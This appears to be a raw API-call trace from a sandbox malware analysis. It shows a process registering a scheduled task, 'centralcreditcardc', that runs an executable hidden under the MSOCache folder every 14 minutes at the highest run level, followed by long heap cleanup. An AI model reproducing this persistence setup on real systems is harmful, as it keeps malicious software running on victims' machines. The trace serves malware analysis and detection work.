dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0082.725] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbcfd0 | out: ppv=0xbcfd0*=0x24dee0) returned 0x0 [0082.743] TaskScheduler:ITaskService:Connect (This=0x24dee0, serverName=0xbd0b0*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbd090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0082.788] TaskScheduler:IUnknown:AddRef (This=0x24dee0) returned 0x2 [0082.788] TaskScheduler:ITaskService:GetFolder (in: This=0x24dee0, Path=0x0, ppFolder=0xbd168 | out: ppFolder=0xbd168*=0x417f50) returned 0x0 [0082.795] TaskScheduler:ITaskService:NewTask (in: This=0x24dee0, flags=0x0, ppDefinition=0xbd160 | out: ppDefinition=0xbd160*=0x416540) returned 0x0 [0082.795] ITaskDefinition:get_Actions (in: This=0x416540, ppActions=0xbd0e0 | out: ppActions=0xbd0e0*=0x416600) returned 0x0 [0082.795] IActionCollection:Create (in: This=0x416600, Type=0, ppAction=0xbd100 | out: ppAction=0xbd100*=0x4169d0) returned 0x0 [0082.795] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.795] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.795] lstrlenW (lpString=" ") returned 1 [0082.795] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0082.796] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x7b) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.796] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.797] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x7d) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0082.798] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.799] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.799] IUnknown:Release (This=0x4169d0) returned 0x1 [0082.799] IUnknown:Release (This=0x416600) returned 0x1 [0082.799] ITaskDefinition:get_Triggers (in: This=0x416540, ppTriggers=0xbcc60 | out: ppTriggers=0xbcc60*=0x416740) returned 0x0 [0082.799] ITriggerCollection:Create (in: This=0x416740, Type=1, ppTrigger=0xbcc58 | out: ppTrigger=0xbcc58*=0x416a40) returned 0x0 [0082.799] lstrlenW (lpString="14") returned 2 [0082.799] _vsnwprintf (in: _Buffer=0xbcbe0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbcbd8 | out: _Buffer="PT14M") returned 5 [0082.799] ITrigger:get_Repetition (in: This=0x416a40, ppRepeat=0xbcc50 | out: ppRepeat=0xbcc50*=0x416ad0) returned 0x0 [0082.800] IRepetitionPattern:put_Interval (This=0x416ad0, Interval="PT14M") returned 0x0 [0082.800] IUnknown:Release (This=0x416ad0) returned 0x1 [0082.800] _vsnwprintf (in: _Buffer=0xbcba0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbcb78 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0082.800] ITrigger:put_StartBoundary (This=0x416a40, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0082.800] lstrlenW (lpString="") returned 0 [0082.800] lstrlenW (lpString="") returned 0 [0082.800] lstrlenW (lpString="") returned 0 [0082.800] lstrlenW (lpString="") returned 0 [0082.800] IUnknown:Release (This=0x416a40) returned 0x1 [0082.800] IUnknown:Release (This=0x416740) returned 0x1 [0082.800] ITaskDefinition:get_Settings (in: This=0x416540, ppSettings=0xbd100 | out: ppSettings=0xbd100*=0x4167b0) returned 0x0 [0082.800] lstrlenW (lpString="") returned 0 [0082.800] IUnknown:Release (This=0x4167b0) returned 0x1 [0082.800] GetLocalTime (in: lpSystemTime=0xbcfb8 | out: lpSystemTime=0xbcfb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x7, wMilliseconds=0xa6)) [0082.800] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0082.801] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0082.801] GetUserNameW (in: lpBuffer=0xbcfe0, pcbBuffer=0xbcfc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbcfc8) returned 1 [0082.801] ITaskDefinition:get_RegistrationInfo (in: This=0x416540, ppRegistrationInfo=0xbcfb0 | out: ppRegistrationInfo=0xbcfb0*=0x416680) returned 0x0 [0082.801] IRegistrationInfo:put_Author (This=0x416680, Author="") returned 0x0 [0082.801] _vsnwprintf (in: _Buffer=0xbcfe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbcf78 | out: _Buffer="2023-09-19T17:17:07") returned 19 [0082.802] IRegistrationInfo:put_Date (This=0x416680, Date="") returned 0x0 [0082.802] IUnknown:Release (This=0x416680) returned 0x1 [0082.802] malloc (_Size=0x18) returned 0x24dfb0 [0082.802] free (_Block=0x24dfb0) [0082.802] lstrlenW (lpString="") returned 0 [0082.802] ITaskDefinition:get_Principal (in: This=0x416540, ppPrincipal=0xbd1d0 | out: ppPrincipal=0xbd1d0*=0x416920) returned 0x0 [0082.802] IPrincipal:put_RunLevel (This=0x416920, RunLevel=1) returned 0x0 [0082.802] IUnknown:Release (This=0x416920) returned 0x1 [0082.802] malloc (_Size=0x18) returned 0x24dfb0 [0082.802] ITaskFolder:RegisterTaskDefinition (in: This=0x417f50, Path="centralcreditcardc", pDefinition=0x416540, flags=6, UserId=0xbd250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbd290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbf160, varVal2=0xfe), LogonType=3, sddl=0xbd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbd170 | out: ppTask=0xbd170*=0x416cc0) returned 0x0 [0082.915] free (_Block=0x24dfb0) [0082.915] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.916] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0082.916] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0082.916] GetProcessHeap () returned 0x140000 [0082.916] GetProcessHeap () returned 0x140000 [0082.916] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7e0) returned 1 [0082.916] GetProcessHeap () returned 0x140000 [0082.916] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d7e0) returned 0xc [0082.916] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7e0 | out: hHeap=0x140000) returned 1 [0082.916] GetProcessHeap () returned 0x140000 [0082.916] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x82) returned 0x176f10 [0082.916] _vsnwprintf (in: _Buffer=0xbd8b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbd118 | out: _Buffer="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n") returned 80 [0082.916] _fileno (_File=0x7feffe22ab0) returned -2 [0082.916] _errno () returned 0x414bb0 [0082.916] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0082.916] SetLastError (dwErrCode=0x6) [0082.916] lstrlenW (lpString="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n") returned 80 [0082.916] GetConsoleOutputCP () returned 0x0 [0082.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0082.916] GetConsoleOutputCP () returned 0x0 [0082.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", cchWideChar=80, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 80 [0082.916] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 80 [0082.917] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0082.917] IUnknown:Release (This=0x416cc0) returned 0x0 [0082.917] TaskScheduler:IUnknown:Release (This=0x416540) returned 0x0 [0082.917] TaskScheduler:IUnknown:Release (This=0x417f50) returned 0x0 [0082.917] TaskScheduler:IUnknown:Release (This=0x24dee0) returned 0x1 [0082.917] lstrlenW (lpString="") returned 0 [0082.917] lstrlenW (lpString="14") returned 2 [0082.917] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0082.917] GetProcessHeap () returned 0x140000 [0082.917] GetProcessHeap () returned 0x140000 [0082.917] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c6d0) returned 1 [0082.917] GetProcessHeap () returned 0x140000 [0082.917] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c6d0) returned 0x1fc [0082.917] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c6d0 | out: hHeap=0x140000) returned 1 [0082.917] GetProcessHeap () returned 0x140000 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x1555e0) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x1555e0) returned 0x6 [0082.918] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1555e0 | out: hHeap=0x140000) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d700) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d700) returned 0x16 [0082.918] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d700 | out: hHeap=0x140000) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d6e0) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d6e0) returned 0x18 [0082.918] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d6e0 | out: hHeap=0x140000) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d000) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.918] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d000) returned 0x20 [0082.918] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d000 | out: hHeap=0x140000) returned 1 [0082.918] GetProcessHeap () returned 0x140000 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c1f0) returned 1 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c1f0) returned 0xa0 [0082.919] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c1f0 | out: hHeap=0x140000) returned 1 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc70) returned 1 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc70) returned 0x18 [0082.919] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc70 | out: hHeap=0x140000) returned 1 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30) returned 1 [0082.919] GetProcessHeap () returned 0x140000 [0082.919] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd30) returned 0x20 [0082.920] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30 | out: hHeap=0x140000) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c610) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c610) returned 0xae [0082.920] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c610 | out: hHeap=0x140000) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d720) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d720) returned 0x18 [0082.920] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d720 | out: hHeap=0x140000) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00) returned 1 [0082.920] GetProcessHeap () returned 0x140000 [0082.920] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd00) returned 0x20 [0082.921] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00 | out: hHeap=0x140000) returned 1 [0082.921] GetProcessHeap () returned 0x140000 [0082.921] GetProcessHeap () returned 0x140000 [0082.921] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c550) returned 1 [0082.921] GetProcessHeap () returned 0x140000 [0082.921] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c550) returned 0xb0 [0082.922] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c550 | out: hHeap=0x140000) returned 1 [0082.923] GetProcessHeap () returned 0x140000 [0082.924] GetProcessHeap () returned 0x140000 [0082.924] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c530) returned 1 [0082.924] GetProcessHeap () returned 0x140000 [0082.924] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c530) returned 0x18 [0082.924] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c530 | out: hHeap=0x140000) returned 1 [0082.924] GetProcessHeap () returned 0x140000 [0082.924] GetProcessHeap () returned 0x140000 [0082.924] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0) returned 1 [0082.924] GetProcessHeap () returned 0x140000 [0082.924] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ccd0) returned 0x20 [0082.924] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0 | out: hHeap=0x140000) returned 1 [0082.924] GetProcessHeap () returned 0x140000 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c510) returned 1 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c510) returned 0xe [0082.925] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c510 | out: hHeap=0x140000) returned 1 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4f0) returned 1 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c4f0) returned 0x18 [0082.925] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4f0 | out: hHeap=0x140000) returned 1 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ef0) returned 1 [0082.925] GetProcessHeap () returned 0x140000 [0082.925] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ef0) returned 0x20 [0082.925] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ef0 | out: hHeap=0x140000) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bdf0) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bdf0) returned 0x208 [0082.926] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bdf0 | out: hHeap=0x140000) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc50) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc50) returned 0x18 [0082.926] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc50 | out: hHeap=0x140000) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155e00) returned 1 [0082.926] GetProcessHeap () returned 0x140000 [0082.926] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155e00) returned 0x20 [0082.927] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155e00 | out: hHeap=0x140000) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d4a0) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d4a0) returned 0x200 [0082.927] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d4a0 | out: hHeap=0x140000) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc90) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc90) returned 0x18 [0082.927] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc90 | out: hHeap=0x140000) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155d70) returned 1 [0082.927] GetProcessHeap () returned 0x140000 [0082.927] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155d70) returned 0x20 [0082.928] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155d70 | out: hHeap=0x140000) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c400) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c400) returned 0x14 [0082.928] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c400 | out: hHeap=0x140000) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3e0) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c3e0) returned 0x18 [0082.928] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3e0 | out: hHeap=0x140000) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155cb0) returned 1 [0082.928] GetProcessHeap () returned 0x140000 [0082.928] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155cb0) returned 0x20 [0082.929] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155cb0 | out: hHeap=0x140000) returned 1 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420) returned 1 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c420) returned 0x16 [0082.929] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420 | out: hHeap=0x140000) returned 1 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2a0) returned 1 [0082.929] GetProcessHeap () returned 0x140000 [0082.929] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c2a0) returned 0x18 [0082.929] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2a0 | out: hHeap=0x140000) returned 1 [0082.929] GetProcessHeap () returned 0x140000 